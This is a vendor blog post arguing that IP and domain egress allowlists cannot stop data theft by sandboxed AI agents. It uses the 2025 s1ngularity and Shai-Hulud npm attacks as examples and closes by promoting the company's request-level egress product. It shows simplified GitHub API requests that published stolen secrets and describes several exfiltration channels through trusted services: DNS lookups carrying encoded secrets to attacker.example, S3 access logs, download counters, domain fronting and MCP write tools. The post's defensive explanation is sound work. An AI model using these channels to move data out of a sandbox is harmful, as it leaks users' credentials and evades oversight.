Why L3 egress control is not enough

IP and domain allowlists decide where traffic goes, not what it carries or which account receives it. Recent attacks exfiltrated through services everyone allows.

Most teams that put an AI agent in a sandbox reach for the same control first: an egress allowlist. It's a short list of the domains the agent may reach, such as registry.npmjs.org for packages, api.anthropic.com for the model and github.com for code. Everything else is blocked. It is cheap, it is well understood, and it stops the most naive exfiltration: an HTTP POST to an attacker's server.

We'll call this L3 egress control, because it works at layer 3 of the network, the IP layer. It checks where a connection is going, by IP address and sometimes by port or domain name. It never looks at what the agent sends over that connection.

Real attacks exploit exactly that blind spot: they send stolen data to a destination the allowlist already trusts. Below are three requests to GitHub. The first is ordinary work. The other two are how a malicious npm package, in August 2025, published secrets from developers' machines. All three go to a destination every developer allowlist permits.

Three requests to api.github.com:443

Request IP/domain allowlist Request policy
Read a file in your repository GET /repos/your-org/app/contents/package.json
Allowlist Allowed
Request policy Allowed
Create a public repository POST /user/repos {"name": "s1ngularity-repository", "private": false}
Allowlist Allowed
Request policy Blocked
Commit the stolen secrets to it PUT /repos/victim/s1ngularity-repository/contents/results.b64
Allowlist Allowed
Request policy Blocked
Requests from the s1ngularity attack, simplified. An allowlist sees one destination; a request policy judges each request.

To an allowlist, the three look identical: same destination, api.github.com, same port. The destination is all it sees, so it allows all three. Below, we walk through that attack, known as s1ngularity, and the two waves of the Shai-Hulud worm that came after it, to show why this blind spot matters.

What an L3 allowlist sees, and what it misses

An L3 rule sees the destination: an IP address and a port. Firewalls that accept domain names also see the hostname, either from the DNS answer or from the TLS Server Name Indication (SNI), the name the client announces when it opens an encrypted connection. That is all it has, so its decision can only be about where a connection goes.

What it misses is everything that tells a legitimate request apart from an exfiltration:

  • the HTTP method: reading a package or publishing one;
  • the path: your organization's repository or someone else's;
  • the account: your token or one the attacker planted;
  • the body: an issue comment, a tool call argument, a file upload.

An allowlist that permits github.com permits all of these equally.

Same service, different account

In August 2025, malicious versions of the Nx build system were published to npm. Their install script collected credentials, in part by asking the AI coding CLIs installed on the machine to look for them. It then created a public GitHub repository in the victim's own account, named s1ngularity-repository, and committed the stolen data to it, base64-encoded. The attacker only had to search GitHub for that name. Wiz counted over 1,700 users whose secrets leaked this way in the first phase.

A month later the Shai-Hulud npm worm did the same thing, creating a public repository named Shai-Hulud with the victim's secrets. That first version also planted a GitHub Actions workflow that sent repository secrets to a webhook.site URL, the one destination in this story an allowlist would have blocked. The second wave, in November 2025, dropped the external endpoint and published secrets only to GitHub repositories, more than 27,000 of them.

Where the stolen secrets went

  1. August 2025

    s1ngularity Nx build system
    • api.github.com A public repository in the victim’s own account Passes an allowlist
  2. September 2025

    Shai-Hulud npm worm, first wave
    • api.github.com A public repository named Shai-Hulud Passes an allowlist
    • webhook.site From a workflow planted in the victim’s repositories Stopped by an allowlist
  3. November 2025

    Sha1-Hulud: The Second Coming npm worm, second wave
    • api.github.com Public repositories with random names, more than 27,000 in total Passes an allowlist
Three npm campaigns in 2025. One exfiltration path went somewhere an allowlist would block, and the campaign that used it also wrote to GitHub.

From the network's point of view, every one of those requests was an HTTPS connection to api.github.com, a destination a build machine or coding agent needs. No IP or domain rule could have told them apart from a normal git push. Only the requests themselves, as in the first figure, show the difference.

The pattern is not specific to GitHub. Any service that lets the caller choose the account it writes to is an exfiltration channel once it is allowed:

  • object storage, where the bucket name is in the request, not the hostname;
  • model provider APIs, where a request made with an attacker's API key uploads files or prompts to the attacker's account;
  • package registries, where publishing is a write to the same host you install from;
  • Hugging Face, issue trackers and chat webhooks.

The attackers moved to GitHub precisely because external endpoints are the part defenders block.

Shared infrastructure

IP rules have a second problem: the IP is rarely yours or the service's alone. CDNs and cloud load balancers serve thousands of customers from the same addresses. Allowing the addresses behind one SaaS vendor often allows every other tenant on the same edge, including one an attacker can sign up for in a minute.

Domain-based rules narrow this but do not close it. A filter that reads the SNI trusts a value the client chooses, and the HTTP Host header inside the encrypted connection can name a different site. Whether the edge routes on the inner name, the technique known as domain fronting, depends on the CDN's own policy, not yours. Some reject the mismatch; you are relying on that.

One edge address, many tenants

Agent’s request

Visible to the firewall

203.0.113.10:443 SNI vendor.example

Encrypted

POST /upload Host: files.attacker.example
CDN edge 203.0.113.10 Routes on the name inside the request, unless the CDN rejects a mismatch
  • vendor.exampleThe service you allowed
  • status.vendor.exampleSame vendor, same edge
  • files.attacker.exampleA free account on the same CDN, receives the upload
The firewall sees the address and the SNI. The name that decides where the request lands is inside the encryption. 203.0.113.0/24 is reserved for documentation (RFC 5737), the IP equivalent of example.com.

The allowed request is the channel

Even with perfectly scoped destinations, an allowed request can carry data out:

  • DNS. Most sandboxes must resolve names. A lookup for <encoded-secret>.attacker.example delivers the secret to the attacker's name server through the resolver you allowed. MITRE catalogues this as technique T1071.004.
  • A read from a server the attacker controls. A GET can carry data in its path or query string. If the attacker owns something behind an allowed host, such as an S3 bucket behind an entry like *.s3.amazonaws.com, the bucket's access logs record every request, query string included. The secret arrives in a single request.
  • A read that bumps a counter. Here the attacker controls nothing on the server. The service keeps a public count for them: downloads of a release asset on GitHub or of a model on Hugging Face. Choosing which files to fetch, and how often, spells out the data a few bits at a time. It is slow, but a token is a few dozen bytes.
  • Remote MCP. Many tools share one HTTPS endpoint. Allowing the endpoint allows every tool, including the one that creates an issue in a repository of the caller's choosing.

What request-level control adds

Closing these gaps means deciding on the request, not the connection. That requires seeing the plaintext HTTP request, which in turn requires being on the machine or terminating TLS, and it means writing policy in the service's own terms:

  • allow GET on the package registry, block publishing;
  • allow pushes to repositories under your organization, block repository creation and writes anywhere else;
  • allow an MCP endpoint's read tools, block or restrict the tools that write;
  • allow the model provider only with your organization's credentials.

Request-level control has limits too. It covers the protocols and clients the enforcement point understands. It enforces the policy you configure; it does not know on its own which data is sensitive. A rule that allows writes to your organization still allows an agent to write whatever it holds into your organization's repositories.

Keep the allowlist, and add a layer

None of this argues against L3 egress control. It is a cheap floor that removes the long tail of destinations and makes the remaining channels fewer and better known. But an allowlist answers "where can this agent connect", and every attack in this post connected somewhere it allowed. The question that stops them is "what is this request doing, and on whose behalf".

That second question is what we built Bullfrog Egress Control to answer.